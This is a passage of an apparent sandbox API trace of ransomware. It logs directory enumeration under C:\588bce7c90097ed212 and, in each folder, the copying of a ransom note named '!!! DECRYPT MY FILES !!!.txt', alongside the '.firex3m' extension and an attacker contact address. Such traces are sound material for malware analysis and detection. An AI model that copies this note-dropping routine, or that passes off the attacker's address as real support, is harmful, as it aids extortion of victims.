nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.192] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0091.192] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1 [0091.192] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\2070\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\2070\\") returned 1 [0091.192] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0091.193] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0091.193] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0091.193] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d54c0 [0091.193] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.193] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0091.193] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\2070\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 1 [0091.193] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\2070\\eula.rtf") returned 0x23 [0091.193] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.193] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.193] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.193] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.194] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0091.194] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0091.194] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d51c0 [0091.194] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0091.194] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0092.304] GetProcessHeap () returned 0x630000 [0092.304] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1430 [0092.304] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0092.304] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\2070\\eula.rtf", psz="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 1 [0092.304] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\2070\\localizeddata.xml") returned 0x2c [0092.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.305] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.305] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.305] GetProcessHeap () returned 0x630000 [0092.305] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1430, Size=0x10) returned 0x6b1418 [0092.305] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0092.305] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\2070\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\2070\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 1 [0092.305] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\2070\\setupresources.dll") returned 0x2d [0092.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.305] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.305] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.306] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.306] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0092.307] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1 [0092.307] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\3076\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\3076\\") returned 1 [0092.307] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0092.307] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0092.307] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0092.307] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5440 [0092.307] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.307] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0092.308] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\3076\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 1 [0092.308] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\3076\\eula.rtf") returned 0x23 [0092.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.308] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.308] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0092.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0092.308] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5000 [0092.308] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0092.308] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0092.313] GetProcessHeap () returned 0x630000 [0092.313] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0x14) returned 0x6b0398 [0092.313] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0092.313] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\3076\\eula.rtf", psz="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 1 [0092.313] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\3076\\localizeddata.xml") returned 0x2c [0092.313] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.313] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.313] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.314] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.314] GetProcessHeap () returned 0x630000 [0092.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0398, Size=0x18) returned 0x6b0418 [0092.314] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0092.314] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\3076\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\3076\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 1 [0092.314] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\3076\\setupresources.dll") returned 0x2d [0092.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.314] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.314] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.314] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.314] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0092.315] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0092.315] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\3082\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\3082\\") returned 1 [0092.315] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3082\\") returned 0x1b [0092.315] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0092.315] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0092.315] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5440 [0092.315] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.315] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0092.316] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\3082\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 1 [0092.316] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3082\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\3082\\eula.rtf") returned 0x23 [0092.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.316] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.316] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0092.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0092.317] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e00 [0092.317] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 